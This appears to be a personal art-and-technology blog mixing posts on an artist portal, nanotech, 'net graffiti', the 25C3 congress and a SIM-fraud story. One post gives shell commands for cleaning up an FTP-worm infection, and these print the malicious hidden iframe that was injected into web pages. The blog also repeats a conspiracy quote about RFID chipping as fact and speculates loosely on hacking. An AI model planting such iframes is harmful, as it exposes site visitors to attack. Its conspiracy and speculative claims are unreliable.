Weebit.info is a portal for a self presentation particularly artist presentation. Because the project runs only less then month, no-one understands what for it really is and how to use it. If you are one of them and want to know more, then come to see it in action on 8th April to Academy of Fine Art in Prague.
I’ll be there presenting it, and more importantly will show how to create your own presentation, answer your questions and hopefully get new ideas from your side.
Seams like we are experiencing “new” age of hacking in a mass scale recently. The target is the server side apps. First when I found injection on websites I’m currently working on I thought it’s a WP hole, but supposedly all happened during the unencrypted ftp connections, I dare to say, I made from Windows system. What have I read is that there is a worm or horse or whatever animal who catches the user & password data, it either downloads each index (text file) from server or inject it’s code directly in server during or else after the ftp session.
Solution seams to be so far.
Do not use Windows :), no seriously, run the Antivir in windows safe mode, then change the ftp password, clean up the infected files and never use simple ftp again. Use SFTP only!
If you found “little iframe”, run the first command on the server (you have to have SSH access, if you don’t ask for it, and if they don’t give it to you I suggest change hosting, or ask them if they can do it for you (they have to give you sftp access anyway). Run the command bellow. It founds infected files.
find . | xargs grep "google-stat"
Then if it founds the injection then, clean it up.
find ./* -type f -exec sed -i 's/<iframe src="http:\/\/google-stat.com\/tomi\/?t=2" width=0 height=0 style="hidden" frameborder=0 marginheight=0 marginwidth=0 scrolling=no><\/iframe>//g' {} \;

Here it comes, the future. Nanotechnology is a new paradigm rising up right with the speed of light and maybe even faster since it has lover resolution then the light wave has. The nano fabric heading into our clothes, into pharmaceutics into the whole world, new shiny technology the world haven’t seen. Yes the nano world is all around us, but unlike “old” nano structures which are result of the millions years long evolution the new one (artificial kind) is here just few years and more than that, it was developed by one stupid kind, generally called Human. This kind thinks it can understand the whole world because it has brain in it’s head. Yep, even the bird has one.
OK let’s speak bit more closer. The nano particles used for example during the MRI with the size that can get into the cell as the sharpest blade into the flash can cause the cancer, but it doesn’t ..or it does?. If such a particle apear in the body alone uncovered by for instance some kind of Polymer it might stick into cell and so become the seed of cancer. (more…)
Here it is, an open portal for artists and their presentation.
I have made a portal based on wiki concept but with the easier interface. Self promotion of artist who have just started his/her carrier is really important, and because there is not such a space, not speaking of Myspace, Flicker and other commercial sites ;) the weebit.info site rise up. Weebit.info unlike wikipedia let anyone make his/her online self-presentation.
Weebit.info is completely free (if you like to donate you are welcome). The secondary aim is to make something like a database of artists who are not on the top-list at least not now. I think many of non-top-list artist are doing grate job and so it’s worthy find some informations of them and their work, and the best find them all in one place. The portal is open, so not only artists them selfs can make their presentation, but some willing guy can make it just because he/she thinks it might be interesting for someone to see.
Hello You who are not passive to the shared knowledge and the critical Internet thoughts. Help me out with the new article a have been started on en.wikipedia. I think this theme deserve to be evolved and practise as well.
Help me out with this http://en.wikipedia.org/wiki/NET_GRAFFITI
don’t wary this is not self promoting action ;) I’m not involved in this even though I would love to.

Wikipedia watchdogs totally sucks :(… they deleted the page not to give it chance to exist an hour. This is a perfect example of their ignorance. If you think as I do that this has to come up again, create it again. Here is the content I have posted there as the cornerstone:
NET GRAFFITI is a new digital [[Graffiti]] phenomenon spreading all over the Internet.
==Attitude==
The NET GRAFFITI tries to continue in the ideological line of street graffiti and it’s attitude of self expression without borders. The Internet is not academic field anymore. More and more people spend many ours in the virtual space and it becomes their natural space as like streets in their neighborhood are. With the space change the attitude stays still. Digital sprayers constantly feels the inner want of self expression and want to change the world for their needs.
==Digital stickers==
The [http://www.myspace.com/netgraffiti LEN M.] group following the hacker style found a way how to embed their mainly political graphics to the digital world. A like classical graffiti “burnish” brick or concrete wall manipulates with posters or else advertisements, the NET GRAFFITI manipulates with the freely available digital material. They re-use already illegal material shared by the P2P network (such as [[torrent]], [[e-mule]] etc.) and changed particular part for their needs. As a target for such a contribution are chosen hacked programs or movies consumed by millions end users everyday. This material gives even much stronger basement for the net artists then the regular streets. By such a manipulation with high end editing tools (in some cases hacked as well) they can change the source material in the way that common user or else people who haven’t seen the original piece cannot recognize the difference and the manipulated content becomes in the eye of spectator the “unaffacted” and the only work.
In some cases especially speaking of manipulated programs the idea is explicit and even shocking.

27.-30.12.2008 Berlin Chaos Computer Club
Nothing to hide, 25th Chaos Communication Congress (25C3)
When Steve Kurtz, professor of University at Buffalo, The State University of New York, former professor of art on the Carnegie Mellon University in May 2004 found his wife dead (she died due to the hearth failure) he called the police. The police consequently went through his house and found among others petri dishes prepared for the upcoming exhibition of GMO agriculture, they contacted FBI and Steve was charged with bioterrorism. In 2007 approximately 150 people committed so called “civil disobedience” and destroyed field with about hectare of genetically modified corn, which lies by the way in “GMO Free Zone”. This action was declared by the government as criminal and terroristic act. The temperature of our planet unfairly raises high. One search request on Google eats as equal amount of energy as 11 Watt bulb per hour whereas produce 6.8 grams of CO2. Opencard with integrated RFID supposed to simplify our life in the city. But this technology can be used and surely will to track people down by those who own the technology and those who are interested enough to get those data for their needs.
Nicholas Rockefeller on the line with Aeron Russo:
N.R.: “..by having this war on terror, you can never win it…so you can always keep taking people’s liberties away..the media can convince everybody that it’s real”
A.R.: “What are you doing this for?”
N.R.: “the goal is to get everybody in the world chipped with an RFID chip…and have all the money behind those chips and everything on those chips and when anybody wants to protest what we do or what we want, we just turn off the chip”
Internet is an open medium but few exceptions, the censorship in the China, Germany … The great problem is particularly its transparentness. Everyone can get the information of someone else without him noticing. For example in Brazil hijackers search for needed information on Myspace, Facebook, Youtube and so forth. Even on the Prague Cyber 2008 conference on cyberterrorism hold by the Ministry of the interior of the Czech republic admitted that the FBI and Czech police too use social networks to get information about suspects. Not only hackers try to keep hiding their identity. Although the privacy right is essential cornerstone in civil rights during the Cyber 2008 conference come out the opinion that anybody who tries to hide him/her self is a hacker and considered as a cyber terrorist. Why anyone needs to hide his/her identity if he/she is not engaged in something illegal? The question of privacy solves hacker not only hiding him/her self behind someone else’s identity but they also create programs such as Tor (http://www.torproject.org/). By using Tor common user can surf the Internet with no traces and can send, receive or share his own data anonymously. The Mailinator (http://mailinator.com) lets user create an temporary email whereas registration is not required. The security question was present throughout the whole Berlin conference. Hackers in cooperation with scientists used 200 Playstations 3 (coupled in cluster) and during days of the 25C3 conference creates out of common SSL certificate working CA certificate. Thanks to this CA certification can be further created new legitimate certificate and consequently used as a verified certificate for money transactions.
Based on the common widely spread picture of the hacker we could treat him/her as a person without soul trying to get somewhere where he/she has no obligations ideally exercising robbery. On the contrary hacker seams to be critical thinking looking for the possible solution for his “homeland” virtual world and for his planet he/she lives on as well. Seams like there is a link among hackers and artists, both have critical sight and slight consciousness of technological impact on human and the earth. This trend can be seen again in Berlin and it’s Transmediale or in Linz on ARS Electronica. Whilst in the art world still prevail non critical fascination of technology, the hacker world already (sort of) understands that this world is not just a fancy toy.

If you like to read the Czech version (bit truncated thought) buy new No. of Flashart(cz)..I guess it’ll be printed out on the beginning of February 2009.
I do not really watch tv, I do not even have one (even though I pay for it, that’s something I have to change, anyway back to the story), not because I do not have money, but because I don’t thing they give us the truth, who does :)
But today I saw interesting thing in TV. Some guy hypothetically spend 3 millions Czech crowns within 2 days which is no possible (that’s what they said, but if you count a bit you probably get the same conclusion). The only thing that pops up in my mind and makes me smile is that he was hacked.
So here is my thought. Some clever guy found out there is a security hole in encryption. They said that those who hacked the phone has to stolen the SIM first to make a copy etc., but I thing someone found a way how to decrypt the encryption on the fly (same as the WEP or WPA hack), and that’s is the bug he or she, who ever wants to point at!
For me it’s pretty much clear. They made such enormous charges, because they simply want to emphasize the fact that the SIM copy wasn’t use by the human and that this is only a illustration of the security problem (the company haven’t mentioned even a word indeed).
I think they just want to point at this security hole this way, just to remind us that no technology is perfect as we all like to forget.
Here are some links:
the video from TV (cz) starts at 12min.
a nice SIM description (cz)
and one lovely tutorial how to hack SIM card (en)
and many many more, where else then on Internet :)
I know, I might be wrong, but one thing is clear, we use the phone for everything and totally believe in security of this technology. Be surre, it is not! And that’s the message.
You know the end of the year is here again and it’s always tough to find any reasonable thing to do. This year could be different ;) During the December 27th to 30th, 2008 Berlin will hosts 25th Chaos Communication Congress.
I always wanted to either do my own stuff or see anything that is related to my own thoughts and get rid of the common s…. at this time. If all things goes well will spend those otherwise boring days learn something interesting.
Quote: The 25th Chaos Communication Congress (25C3) is the annual four-day conference organized by the Chaos Computer Club (CCC). It takes place at the bcc Berliner Congress Center in Berlin, Germany. The Congress offers lectures and workshops on a multitude of topics and attracts a diverse audience of thousands of hackers, scientists, artists, and utopians from all around the world. The 25C3s slogan is “Nothing to hide”.
